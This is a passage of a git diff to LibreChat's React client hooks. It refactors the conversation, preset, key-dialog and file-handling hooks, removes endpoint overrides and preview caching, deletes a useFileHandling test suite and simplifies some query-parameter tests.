import { useGetModelsQuery } from 'librechat-data-provider/react-query';
import { excludedKeys, getDefaultParamsEndpoint } from 'librechat-data-provider';
import type {
@@ -23,55 +22,57 @@ const useDefaultConvo = () => {
const { data: endpointsConfig = {} as TEndpointsConfig } = useGetEndpointsQuery();
const { data: modelsConfig = {} as TModelsConfig } = useGetModelsQuery();
- const getDefaultConversation = useCallback(
- ({ conversation: _convo, preset, cleanInput, cleanOutput }: TDefaultConvo) => {
- const endpoint = getDefaultEndpoint({
- convoSetup: preset as TPreset,
- endpointsConfig,
- });
+ const getDefaultConversation = ({
+ conversation: _convo,
+ preset,
+ cleanInput,
+ cleanOutput,
+ }: TDefaultConvo) => {
+ const endpoint = getDefaultEndpoint({
+ convoSetup: preset as TPreset,
+ endpointsConfig,
+ });
- const models = modelsConfig[endpoint ?? ''] || [];
- const conversation = { ..._convo };
- if (cleanInput === true) {
- for (const key in conversation) {
- if (excludedKeys.has(key) && !exceptions.has(key)) {
- continue;
- }
- if (conversation[key] == null) {
- continue;
- }
- conversation[key] = undefined;
- }
- }
-
- const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
-
- const defaultConvo = buildDefaultConvo({
- conversation: conversation as TConversation,
- endpoint,
- lastConversationSetup: preset as TConversation,
- models,
- defaultParamsEndpoint,
- });
-
- if (!cleanOutput) {
- return defaultConvo;
- }
-
- for (const key in defaultConvo) {
+ const models = modelsConfig[endpoint ?? ''] || [];
+ const conversation = { ..._convo };
+ if (cleanInput === true) {
+ for (const key in conversation) {
if (excludedKeys.has(key) && !exceptions.has(key)) {
continue;
}
- if (defaultConvo[key] == null) {
+ if (conversation[key] == null) {
continue;
}
- defaultConvo[key] = undefined;
+ conversation[key] = undefined;
}
+ }
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
+
+ const defaultConvo = buildDefaultConvo({
+ conversation: conversation as TConversation,
+ endpoint,
+ lastConversationSetup: preset as TConversation,
+ models,
+ defaultParamsEndpoint,
+ });
+
+ if (!cleanOutput) {
return defaultConvo;
- },
- [endpointsConfig, modelsConfig],
- );
+ }
+
+ for (const key in defaultConvo) {
+ if (excludedKeys.has(key) && !exceptions.has(key)) {
+ continue;
+ }
+ if (defaultConvo[key] == null) {
+ continue;
+ }
+ defaultConvo[key] = undefined;
+ }
+
+ return defaultConvo;
+ };
return getDefaultConversation;
};
diff --git a/client/src/hooks/Conversations/useGetConversation.ts b/client/src/hooks/Conversations/useGetConversation.ts
deleted file mode 100644
index 3b63e79f7f..0000000000
--- a/client/src/hooks/Conversations/useGetConversation.ts
+++ /dev/null
@@ -1,14 +0,0 @@
-import { useRecoilCallback } from 'recoil';
-import type { TConversation } from 'librechat-data-provider';
-import store from '~/store';
-
-export default function useGetConversation(index: string | number = 0) {
- return useRecoilCallback(
- ({ snapshot }) =>
- () =>
- snapshot
- .getLoadable(store.conversationByKeySelector(index))
- .getValue() as TConversation | null,
- [index],
- );
-}
diff --git a/client/src/hooks/Conversations/usePresets.ts b/client/src/hooks/Conversations/usePresets.ts
index 2165e1966e..90ca5ab132 100644
--- a/client/src/hooks/Conversations/usePresets.ts
+++ b/client/src/hooks/Conversations/usePresets.ts
@@ -13,20 +13,19 @@ import {
useGetPresetsQuery,
} from '~/data-provider';
import { cleanupPreset, removeUnavailableTools, getConvoSwitchLogic } from '~/utils';
-import useGetConversation from '~/hooks/Conversations/useGetConversation';
import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
import { useAuthContext } from '~/hooks/AuthContext';
import { NotificationSeverity } from '~/common';
import useNewConvo from '~/hooks/useNewConvo';
+import { useChatContext } from '~/Providers';
import { useLocalize } from '~/hooks';
import store from '~/store';
-export default function usePresets(index = 0) {
+export default function usePresets() {
const localize = useLocalize();
const hasLoaded = useRef(false);
const queryClient = useQueryClient();
const { showToast } = useToastContext();
- const getConversation = useGetConversation(index);
const { user, isAuthenticated } = useAuthContext();
const [showDeleteDialog, setShowDeleteDialog] = useState(false);
const [presetToDelete, setPresetToDelete] = useState(null);
@@ -36,9 +35,7 @@ export default function usePresets(index = 0) {
const setPresetModalVisible = useSetRecoilState(store.presetModalVisible);
const [_defaultPreset, setDefaultPreset] = useRecoilState(store.defaultPreset);
const presetsQuery = useGetPresetsQuery({ enabled: !!user && isAuthenticated });
- const preset = useRecoilValue(store.presetByIndex(index));
- const setPreset = useSetRecoilState(store.presetByIndex(index));
- const conversationId = useRecoilValue(store.conversationIdByIndex(index));
+ const { preset, conversation, index, setPreset } = useChatContext();
const { data: modelsData } = useGetModelsQuery();
const { newConversation } = useNewConvo(index);
@@ -63,13 +60,13 @@ export default function usePresets(index = 0) {
return;
}
setDefaultPreset(defaultPreset);
- if (!conversationId || conversationId === 'new') {
+ if (!conversation?.conversationId || conversation.conversationId === 'new') {
newConversation({ preset: defaultPreset, modelsData, disableParams: true });
}
hasLoaded.current = true;
// dependencies are stable and only needed once
// eslint-disable-next-line react-hooks/exhaustive-deps
- }, [presetsQuery.data, user, modelsData, conversationId]);
+ }, [presetsQuery.data, user, modelsData]);
const setPresets = useCallback(
(presets: TPreset[]) => {
@@ -167,7 +164,6 @@ export default function usePresets(index = 0) {
return;
}
- const conversation = getConversation();
const newPreset = removeUnavailableTools(_newPreset, availableTools);
const toastTitle = newPreset.title
diff --git a/client/src/hooks/Endpoint/useKeyDialog.ts b/client/src/hooks/Endpoint/useKeyDialog.ts
index 89a156f57a..d783320fd6 100644
--- a/client/src/hooks/Endpoint/useKeyDialog.ts
+++ b/client/src/hooks/Endpoint/useKeyDialog.ts
@@ -1,4 +1,4 @@
-import { useState, useCallback, useMemo } from 'react';
+import { useState, useCallback } from 'react';
import { EModelEndpoint } from 'librechat-data-provider';
export const useKeyDialog = () => {
@@ -15,30 +15,24 @@ export const useKeyDialog = () => {
[],
);
- const onOpenChange = useCallback(
- (open: boolean) => {
- if (!open && keyDialogEndpoint) {
- const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
- if (button) {
- setTimeout(() => {
- button.focus();
- }, 5);
- }
+ const onOpenChange = (open: boolean) => {
+ if (!open && keyDialogEndpoint) {
+ const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
+ if (button) {
+ setTimeout(() => {
+ button.focus();
+ }, 5);
}
- setKeyDialogOpen(open);
- },
- [keyDialogEndpoint],
- );
+ }
+ setKeyDialogOpen(open);
+ };
- return useMemo(
- () => ({
- keyDialogOpen,
- keyDialogEndpoint,
- onOpenChange,
- handleOpenKeyDialog,
- }),
- [keyDialogOpen, keyDialogEndpoint, onOpenChange, handleOpenKeyDialog],
- );
+ return {
+ keyDialogOpen,
+ keyDialogEndpoint,
+ onOpenChange,
+ handleOpenKeyDialog,
+ };
};
export default useKeyDialog;
diff --git a/client/src/hooks/Files/__tests__/useFileHandling.test.ts b/client/src/hooks/Files/__tests__/useFileHandling.test.ts
deleted file mode 100644
index 0a07c5f2b4..0000000000
--- a/client/src/hooks/Files/__tests__/useFileHandling.test.ts
+++ /dev/null
@@ -1,289 +0,0 @@
-import { renderHook, act } from '@testing-library/react';
-import { Constants, EModelEndpoint, getEndpointFileConfig } from 'librechat-data-provider';
-
-beforeAll(() => {
- global.URL.createObjectURL = jest.fn(() => 'blob:mock-url');
- global.URL.revokeObjectURL = jest.fn();
-});
-
-const mockShowToast = jest.fn();
-const mockSetFilesLoading = jest.fn();
-const mockMutate = jest.fn();
-
-let mockConversation: Record = {};
-
-jest.mock('~/Providers/ChatContext', () => ({
- useChatContext: jest.fn(() => ({
- files: new Map(),
- setFiles: jest.fn(),
- setFilesLoading: mockSetFilesLoading,
- conversation: mockConversation,
- })),
-}));
-
-jest.mock('@librechat/client', () => ({
- useToastContext: jest.fn(() => ({
- showToast: mockShowToast,
- })),
-}));
-
-jest.mock('recoil', () => ({
- ...jest.requireActual('recoil'),
- useSetRecoilState: jest.fn(() => jest.fn()),
-}));
-
-jest.mock('~/store', () => ({
- ephemeralAgentByConvoId: jest.fn(() => ({ key: 'mock' })),
-}));
-
-jest.mock('@tanstack/react-query', () => ({
- useQueryClient: jest.fn(() => ({
- getQueryData: jest.fn(),
- refetchQueries: jest.fn(),
- })),
-}));
-
-jest.mock('~/data-provider', () => ({
- useGetFileConfig: jest.fn(() => ({ data: null })),
- useUploadFileMutation: jest.fn((_opts: Record) => ({
- mutate: mockMutate,
- })),
-}));
-
-jest.mock('~/hooks/useLocalize', () => {
- const fn = jest.fn((key: string) => key) as jest.Mock & {
- TranslationKeys: Record;
- };
- fn.TranslationKeys = {};
- return { __esModule: true, default: fn, TranslationKeys: {} };
-});
-
-jest.mock('../useDelayedUploadToast', () => ({
- useDelayedUploadToast: jest.fn(() => ({
- startUploadTimer: jest.fn(),
- clearUploadTimer: jest.fn(),
- })),
-}));
-
-jest.mock('~/utils/heicConverter', () => ({
- processFileForUpload: jest.fn(async (file: File) => file),
-}));
-
-jest.mock('../useClientResize', () => ({
- __esModule: true,
- default: jest.fn(() => ({
- resizeImageIfNeeded: jest.fn(async (file: File) => ({ file, resized: false })),
- })),
-}));
-
-jest.mock('../useUpdateFiles', () => ({
- __esModule: true,
- default: jest.fn(() => ({
- addFile: jest.fn(),
- replaceFile: jest.fn(),
- updateFileById: jest.fn(),
- deleteFileById: jest.fn(),
- })),
-}));
-
-jest.mock('~/utils', () => ({
- logger: { log: jest.fn() },
- validateFiles: jest.fn(() => true),
- cachePreview: jest.fn(),
- getCachedPreview: jest.fn(() => undefined),
-}));
-
-const mockValidateFiles = jest.requireMock('~/utils').validateFiles;
-
-describe('useFileHandling', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- mockConversation = {};
- });
-
- const loadHook = async () => (await import('../useFileHandling')).default;
-
- describe('endpointOverride', () => {
- it('uses conversation endpoint when no override is provided', async () => {
- mockConversation = {
- conversationId: 'convo-1',
- endpoint: 'openAI',
- endpointType: 'custom',
- };
-
- const useFileHandling = await loadHook();
- const { result } = renderHook(() => useFileHandling());
-
- const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
-
- await act(async () => {
- await result.current.handleFiles([textFile]);
- });
-
- expect(mockValidateFiles).toHaveBeenCalledTimes(1);
- const validateCall = mockValidateFiles.mock.calls[0][0];
- const configResult = getEndpointFileConfig({
- endpoint: 'openAI',
- endpointType: 'custom',
- fileConfig: null,
- });
- expect(validateCall.endpointFileConfig).toEqual(configResult);
- });
-
- it('uses endpointOverride for validation instead of conversation endpoint', async () => {
- mockConversation = {
- conversationId: 'convo-1',
- endpoint: 'openAI',
- endpointType: 'custom',
- };
-
- const useFileHandling = await loadHook();
- const { result } = renderHook(() =>
- useFileHandling({ endpointOverride: EModelEndpoint.agents }),
- );
-
- const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
-
- await act(async () => {
- await result.current.handleFiles([textFile]);
- });
-
- expect(mockValidateFiles).toHaveBeenCalledTimes(1);
- const validateCall = mockValidateFiles.mock.calls[0][0];
- const agentsConfig = getEndpointFileConfig({
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
- fileConfig: null,
- });
- expect(validateCall.endpointFileConfig).toEqual(agentsConfig);
- });
-
- it('falls back to conversation endpoint when endpointOverride is undefined', async () => {
- mockConversation = {
- conversationId: 'convo-1',
- endpoint: 'anthropic',
- endpointType: undefined,
- };
-
- const useFileHandling = await loadHook();
- const { result } = renderHook(() => useFileHandling({ endpointOverride: undefined }));
-
- const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
-
- await act(async () => {
- await result.current.handleFiles([textFile]);
- });
-
- expect(mockValidateFiles).toHaveBeenCalledTimes(1);
- const validateCall = mockValidateFiles.mock.calls[0][0];
- const anthropicConfig = getEndpointFileConfig({
- endpoint: 'anthropic',
- endpointType: undefined,
- fileConfig: null,
- });
- expect(validateCall.endpointFileConfig).toEqual(anthropicConfig);
- });
-
- it('sends correct endpoint in upload form data when override is set', async () => {
- mockConversation = {
- conversationId: 'convo-1',
- endpoint: 'openAI',
- endpointType: 'custom',
- };
-
- const useFileHandling = await loadHook();
- const { result } = renderHook(() =>
- useFileHandling({
- endpointOverride: EModelEndpoint.agents,
- additionalMetadata: { agent_id: 'agent-123' },
- }),
- );
-
- const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
-
- await act(async () => {
- await result.current.handleFiles([textFile]);
- });
-
- expect(mockMutate).toHaveBeenCalledTimes(1);
- const formData: FormData = mockMutate.mock.calls[0][0];
- expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
- expect(formData.get('endpointType')).toBe(EModelEndpoint.agents);
- });
-
- it('does not enter assistants upload path when override is agents', async () => {
- mockConversation = {
- conversationId: 'convo-1',
- endpoint: 'assistants',
- endpointType: 'assistants',
- };
-
- const useFileHandling = await loadHook();
- const { result } = renderHook(() =>
- useFileHandling({
- endpointOverride: EModelEndpoint.agents,
- additionalMetadata: { agent_id: 'agent-123' },
- }),
- );
-
- const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
-
- await act(async () => {
- await result.current.handleFiles([textFile]);
- });
-
- expect(mockMutate).toHaveBeenCalledTimes(1);
- const formData: FormData = mockMutate.mock.calls[0][0];
- expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
- expect(formData.get('message_file')).toBeNull();
- expect(formData.get('version')).toBeNull();
- expect(formData.get('model')).toBeNull();
- expect(formData.get('assistant_id')).toBeNull();
- });
-
- it('enters assistants path without override when conversation is assistants', async () => {
- mockConversation = {
- conversationId: 'convo-1',
- endpoint: 'assistants',
- endpointType: 'assistants',
- assistant_id: 'asst-456',
- model: 'gpt-4',
- };
-
- const useFileHandling = await loadHook();
- const { result } = renderHook(() => useFileHandling());
-
- const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
-
- await act(async () => {
- await result.current.handleFiles([textFile]);
- });
-
- expect(mockMutate).toHaveBeenCalledTimes(1);
- const formData: FormData = mockMutate.mock.calls[0][0];
- expect(formData.get('endpoint')).toBe('assistants');
- expect(formData.get('message_file')).toBe('true');
- });
-
- it('falls back to "default" when no conversation endpoint and no override', async () => {
- mockConversation = {
- conversationId: Constants.NEW_CONVO as string,
- endpoint: null,
- endpointType: undefined,
- };
-
- const useFileHandling = await loadHook();
- const { result } = renderHook(() => useFileHandling());
-
- const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
-
- await act(async () => {
- await result.current.handleFiles([textFile]);
- });
-
- expect(mockMutate).toHaveBeenCalledTimes(1);
- const formData: FormData = mockMutate.mock.calls[0][0];
- expect(formData.get('endpoint')).toBe('default');
- });
- });
-});
diff --git a/client/src/hooks/Files/useDragHelpers.ts b/client/src/hooks/Files/useDragHelpers.ts
index 7c6c3bd155..f931da408c 100644
--- a/client/src/hooks/Files/useDragHelpers.ts
+++ b/client/src/hooks/Files/useDragHelpers.ts
@@ -13,7 +13,6 @@ import {
EModelEndpoint,
mergeFileConfig,
AgentCapabilities,
- resolveEndpointType,
isAssistantsEndpoint,
getEndpointFileConfig,
defaultAgentCapabilities,
@@ -70,19 +69,7 @@ export default function useDragHelpers() {
(item: { files: File[] }) => {
/** Early block: leverage endpoint file config to prevent drag/drop on disabled endpoints */
const currentEndpoint = conversationRef.current?.endpoint ?? 'default';
- const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]);
-
- /** Get agent data from cache; if absent, provider-specific file config restrictions are bypassed client-side */
- const agentId = conversationRef.current?.agent_id;
- const agent = agentId
- ? queryClient.getQueryData([QueryKeys.agent, agentId])
- : undefined;
-
- const currentEndpointType = resolveEndpointType(
- endpointsConfig,
- currentEndpoint,
- agent?.provider,
- );
+ const currentEndpointType = conversationRef.current?.endpointType ?? undefined;
const cfg = queryClient.getQueryData([QueryKeys.fileConfig]);
if (cfg) {
const mergedCfg = mergeFileConfig(cfg);
@@ -105,21 +92,27 @@ export default function useDragHelpers() {
return;
}
+ const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]);
const agentsConfig = endpointsConfig?.[EModelEndpoint.agents];
const capabilities = agentsConfig?.capabilities ?? defaultAgentCapabilities;
const fileSearchEnabled = capabilities.includes(AgentCapabilities.file_search) === true;
const codeEnabled = capabilities.includes(AgentCapabilities.execute_code) === true;
const contextEnabled = capabilities.includes(AgentCapabilities.context) === true;
+ /** Get agent permissions at drop time */
+ const agentId = conversationRef.current?.agent_id;
let fileSearchAllowedByAgent = true;
let codeAllowedByAgent = true;
if (agentId && !isEphemeralAgent(agentId)) {
+ /** Agent data from cache */
+ const agent = queryClient.getQueryData([QueryKeys.agent, agentId]);
if (agent) {
const agentTools = agent.tools as string[] | undefined;
fileSearchAllowedByAgent = agentTools?.includes(Tools.file_search) ?? false;
codeAllowedByAgent = agentTools?.includes(Tools.execute_code) ?? false;
} else {
+ /** If agent exists but not found, disallow */
fileSearchAllowedByAgent = false;
codeAllowedByAgent = false;
}
diff --git a/client/src/hooks/Files/useFileDeletion.ts b/client/src/hooks/Files/useFileDeletion.ts
index c33ac2a50b..34d89e313b 100644
--- a/client/src/hooks/Files/useFileDeletion.ts
+++ b/client/src/hooks/Files/useFileDeletion.ts
@@ -5,7 +5,6 @@ import type * as t from 'librechat-data-provider';
import type { UseMutateAsyncFunction } from '@tanstack/react-query';
import type { ExtendedFile, GenericSetter } from '~/common';
import useSetFilesToDelete from './useSetFilesToDelete';
-import { deletePreview } from '~/utils';
type FileMapSetter = GenericSetter>;
@@ -89,11 +88,6 @@ const useFileDeletion = ({
});
}
- deletePreview(file_id);
- if (temp_file_id) {
- deletePreview(temp_file_id);
- }
-
if (attached) {
return;
}
@@ -131,11 +125,6 @@ const useFileDeletion = ({
temp_file_id,
embedded: embedded ?? false,
});
-
- deletePreview(file_id);
- if (temp_file_id) {
- deletePreview(temp_file_id);
- }
}
if (setFiles) {
diff --git a/client/src/hooks/Files/useFileHandling.ts b/client/src/hooks/Files/useFileHandling.ts
index 635937a6fa..4c65b80765 100644
--- a/client/src/hooks/Files/useFileHandling.ts
+++ b/client/src/hooks/Files/useFileHandling.ts
@@ -13,16 +13,15 @@ import {
defaultAssistantsVersion,
} from 'librechat-data-provider';
import debounce from 'lodash/debounce';
-import type { EModelEndpoint, TEndpointsConfig, TError } from 'librechat-data-provider';
+import type { TEndpointsConfig, TError } from 'librechat-data-provider';
import type { ExtendedFile, FileSetter } from '~/common';
-import type { TConversation } from 'librechat-data-provider';
-import { logger, validateFiles, cachePreview, getCachedPreview, removePreviewEntry } from '~/utils';
import { useGetFileConfig, useUploadFileMutation } from '~/data-provider';
import useLocalize, { TranslationKeys } from '~/hooks/useLocalize';
import { useDelayedUploadToast } from './useDelayedUploadToast';
import { processFileForUpload } from '~/utils/heicConverter';
import { useChatContext } from '~/Providers/ChatContext';
import { ephemeralAgentByConvoId } from '~/store';
+import { logger, validateFiles } from '~/utils';
import useClientResize from './useClientResize';
import useUpdateFiles from './useUpdateFiles';
@@ -30,30 +29,16 @@ type UseFileHandling = {
fileSetter?: FileSetter;
fileFilter?: (file: File) => boolean;
additionalMetadata?: Record;
- /** Overrides `endpoint` for upload routing; also used as `endpointType` fallback when `endpointTypeOverride` is not set */
- endpointOverride?: EModelEndpoint | string;
- /** Overrides `endpointType` independently from `endpointOverride` */
- endpointTypeOverride?: EModelEndpoint | string;
};
-export type FileHandlingState = {
- files: Map;
- setFiles: FileSetter;
- setFilesLoading?: React.Dispatch>;
- conversation?: TConversation | null;
-};
-
-const noop = () => {};
-
-const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: FileHandlingState) => {
+const useFileHandling = (params?: UseFileHandling) => {
const localize = useLocalize();
const queryClient = useQueryClient();
const { showToast } = useToastContext();
const [errors, setErrors] = useState([]);
const abortControllerRef = useRef(null);
const { startUploadTimer, clearUploadTimer } = useDelayedUploadToast();
- const { files, setFiles, conversation } = fileState;
- const setFilesLoading = fileState.setFilesLoading ?? noop;
+ const { files, setFiles, setFilesLoading, conversation } = useChatContext();
const setEphemeralAgent = useSetRecoilState(
ephemeralAgentByConvoId(conversation?.conversationId ?? Constants.NEW_CONVO),
);
@@ -65,16 +50,8 @@ const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: Fil
const agent_id = params?.additionalMetadata?.agent_id ?? '';
const assistant_id = params?.additionalMetadata?.assistant_id ?? '';
- const endpointOverride = params?.endpointOverride;
- const endpointTypeOverride = params?.endpointTypeOverride;
- const endpointType = useMemo(
- () => endpointTypeOverride ?? endpointOverride ?? conversation?.endpointType,
- [endpointTypeOverride, endpointOverride, conversation?.endpointType],
- );
- const endpoint = useMemo(
- () => endpointOverride ?? conversation?.endpoint ?? 'default',
- [endpointOverride, conversation?.endpoint],
- );
+ const endpointType = useMemo(() => conversation?.endpointType, [conversation?.endpointType]);
+ const endpoint = useMemo(() => conversation?.endpoint ?? 'default', [conversation?.endpoint]);
const { data: fileConfig = null } = useGetFileConfig({
select: (data) => mergeFileConfig(data),
@@ -133,11 +110,6 @@ const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: Fil
);
setTimeout(() => {
- const cachedBlob = getCachedPreview(data.temp_file_id);
- if (cachedBlob && data.file_id !== data.temp_file_id) {
- cachePreview(data.file_id, cachedBlob);
- removePreviewEntry(data.temp_file_id);
- }
updateFileById(
data.temp_file_id,
{
@@ -268,6 +240,7 @@ const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: Fil
replaceFile(extendedFile);
await startUpload(extendedFile);
+ URL.revokeObjectURL(preview);
};
img.src = preview;
};
@@ -308,7 +281,6 @@ const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: Fil
try {
// Create initial preview with original file
const initialPreview = URL.createObjectURL(originalFile);
- cachePreview(file_id, initialPreview);
// Create initial ExtendedFile to show immediately
const initialExtendedFile: ExtendedFile = {
@@ -386,7 +358,6 @@ const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: Fil
if (finalProcessedFile !== originalFile) {
URL.revokeObjectURL(initialPreview); // Clean up original preview
const newPreview = URL.createObjectURL(finalProcessedFile);
- cachePreview(file_id, newPreview);
const updatedExtendedFile: ExtendedFile = {
...initialExtendedFile,
@@ -463,20 +434,4 @@ const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: Fil
};
};
-export const useFileHandlingNoChatContext = (
- params: UseFileHandling | undefined,
- fileState: FileHandlingState,
-) => useFileHandlingCore(params, fileState);
-
-const useFileHandling = (params?: UseFileHandling) => {
- const { files, setFiles, setFilesLoading, conversation } = useChatContext();
-
- return useFileHandlingCore(params, {
- files,
- setFiles,
- conversation,
- setFilesLoading,
- });
-};
-
export default useFileHandling;
diff --git a/client/src/hooks/Files/useSharePointFileHandling.ts b/client/src/hooks/Files/useSharePointFileHandling.ts
index a04ef0104b..11fc0915b7 100644
--- a/client/src/hooks/Files/useSharePointFileHandling.ts
+++ b/client/src/hooks/Files/useSharePointFileHandling.ts
@@ -1,17 +1,13 @@
import { useCallback } from 'react';
-import type { EModelEndpoint } from 'librechat-data-provider';
-import type { SharePointFile } from '~/data-provider/Files/sharepoint';
-import type { FileHandlingState } from './useFileHandling';
-import useFileHandling, { useFileHandlingNoChatContext } from './useFileHandling';
+import useFileHandling from './useFileHandling';
import useSharePointDownload from './useSharePointDownload';
+import type { SharePointFile } from '~/data-provider/Files/sharepoint';
interface UseSharePointFileHandlingProps {
fileSetter?: any;
toolResource?: string;
fileFilter?: (file: File) => boolean;
additionalMetadata?: Record;
- endpointOverride?: EModelEndpoint | string;
- endpointTypeOverride?: EModelEndpoint | string;
}
interface UseSharePointFileHandlingReturn {
@@ -25,43 +21,6 @@ export default function useSharePointFileHandling(
props?: UseSharePointFileHandlingProps,
): UseSharePointFileHandlingReturn {
const { handleFiles } = useFileHandling(props);
- const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
- {
- onFilesDownloaded: async (downloadedFiles: File[]) => {
- const fileArray = Array.from(downloadedFiles);
- await handleFiles(fileArray, props?.toolResource);
- },
- onError: (error) => {
- console.error('SharePoint download failed:', error);
- },
- },
- );
-
- const handleSharePointFiles = useCallback(
- async (sharePointFiles: SharePointFile[]) => {
- try {
- await downloadSharePointFiles(sharePointFiles);
- } catch (error) {
- console.error('SharePoint file handling error:', error);
- throw error;
- }
- },
- [downloadSharePointFiles],
- );
-
- return {
- handleSharePointFiles,
- isProcessing: isDownloading,
- downloadProgress,
- error,
- };
-}
-
-export function useSharePointFileHandlingNoChatContext(
- props: UseSharePointFileHandlingProps | undefined,
- fileState: FileHandlingState,
-): UseSharePointFileHandlingReturn {
- const { handleFiles } = useFileHandlingNoChatContext(props, fileState);
const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
{
diff --git a/client/src/hooks/Input/useQueryParams.spec.ts b/client/src/hooks/Input/useQueryParams.spec.ts
index f8b30b2eda..927df94941 100644
--- a/client/src/hooks/Input/useQueryParams.spec.ts
+++ b/client/src/hooks/Input/useQueryParams.spec.ts
@@ -220,14 +220,9 @@ describe('useQueryParams', () => {
handleSubmit: jest.fn((callback) => () => callback({ text: 'test message' })),
});
+ // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockImplementation((key) => {
- const k = Array.isArray(key) ? key[0] : key;
- if (k === 'startupConfig') {
- return { modelSpecs: { list: [] } };
- }
- return null;
- }),
+ getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
});
setUrlParams({ q: 'hello world' });
@@ -246,11 +241,7 @@ describe('useQueryParams', () => {
'hello world',
expect.objectContaining({ shouldValidate: true }),
);
- const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
- const [params, options] = mockSetSearchParams.mock.calls[0];
- expect(params).toBeInstanceOf(URLSearchParams);
- expect(params.toString()).toBe('');
- expect(options).toEqual(expect.objectContaining({ replace: true }));
+ expect(window.history.replaceState).toHaveBeenCalled();
});
it('should auto-submit message when submit=true and no settings to apply', () => {
@@ -275,14 +266,9 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
+ // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockImplementation((key) => {
- const k = Array.isArray(key) ? key[0] : key;
- if (k === 'startupConfig') {
- return { modelSpecs: { list: [] } };
- }
- return null;
- }),
+ getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
});
setUrlParams({ q: 'hello world', submit: 'true' });
@@ -318,14 +304,13 @@ describe('useQueryParams', () => {
} as unknown as HTMLTextAreaElement,
};
- // Mock getQueryData to return array format for startupConfig and endpoints
+ // Mock getQueryData to return array format for startupConfig
const mockGetQueryData = jest.fn().mockImplementation((key) => {
- const k = Array.isArray(key) ? key[0] : key;
- if (k === 'startupConfig') {
+ if (Array.isArray(key) && key[0] === 'startupConfig') {
return { modelSpecs: { list: [] } };
}
- if (k === 'endpoints') {
- return {};
+ if (key === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
}
return null;
});
@@ -411,15 +396,14 @@ describe('useQueryParams', () => {
newConversation: mockNewConversation,
});
- // Mock startup config and endpoints to allow processing
+ // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
getQueryData: jest.fn().mockImplementation((key) => {
- const k = Array.isArray(key) ? key[0] : key;
- if (k === 'startupConfig') {
+ if (Array.isArray(key) && key[0] === 'startupConfig') {
return { modelSpecs: { list: [] } };
}
- if (k === 'endpoints') {
- return {};
+ if (key === 'startupConfig') {
+ return { modelSpecs: { list: [] } };
}
return null;
}),
@@ -470,14 +454,9 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
+ // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockImplementation((key) => {
- const k = Array.isArray(key) ? key[0] : key;
- if (k === 'startupConfig') {
- return { modelSpecs: { list: [] } };
- }
- return null;
- }),
+ getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
});
setUrlParams({ model: 'gpt-4' }); // No submit=true
@@ -521,14 +500,9 @@ describe('useQueryParams', () => {
submitMessage: mockSubmitMessage,
});
+ // Mock startup config to allow processing
(useQueryClient as jest.Mock).mockReturnValue({
- getQueryData: jest.fn().mockImplementation((key) => {
- const k = Array.isArray(key) ? key[0] : key;
- if (k === 'startupConfig') {
- return { modelSpecs: { list: [] } };
- }
- return null;
- }),
+ getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
});
setUrlParams({}); // Empty params
@@ -550,10 +524,6 @@ describe('useQueryParams', () => {
expect(mockSetValue).not.toHaveBeenCalled();
expect(mockHandleSubmit).not.toHaveBeenCalled();
expect(mockSubmitMessage).not.toHaveBeenCalled();
- const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
- const [params, options] = mockSetSearchParams.mock.calls[0];
- expect(params).toBeInstanceOf(URLSearchParams);
- expect(params.toString()).toBe('');
- expect(options).toEqual(expect.objectContaining({ replace: true }));
+ expect(window.history.replaceState).toHaveBeenCalled();
});
});
diff --git a/client/src/hooks/Input/useQueryParams.ts b/client/src/hooks/Input/useQueryParams.ts
index 85b5d8838b..7c9ff58042 100644
--- a/client/src/hooks/Input/useQueryParams.ts
+++ b/client/src/hooks/Input/useQueryParams.ts
@@ -2,18 +2,24 @@ import { useEffect, useCallback, useRef } from 'react';
import { useRecoilValue } from 'recoil';
import { useSearchParams } from 'react-router-dom';
import { QueryClient, useQueryClient } from '@tanstack/react-query';
-import { QueryKeys, EModelEndpoint, PermissionBits } from 'librechat-data-provider';
+import {
+ QueryKeys,
+ EModelEndpoint,
+ isAgentsEndpoint,
+ tQueryParamsSchema,
+ isAssistantsEndpoint,
+ PermissionBits,
+} from 'librechat-data-provider';
import type {
AgentListResponse,
TEndpointsConfig,
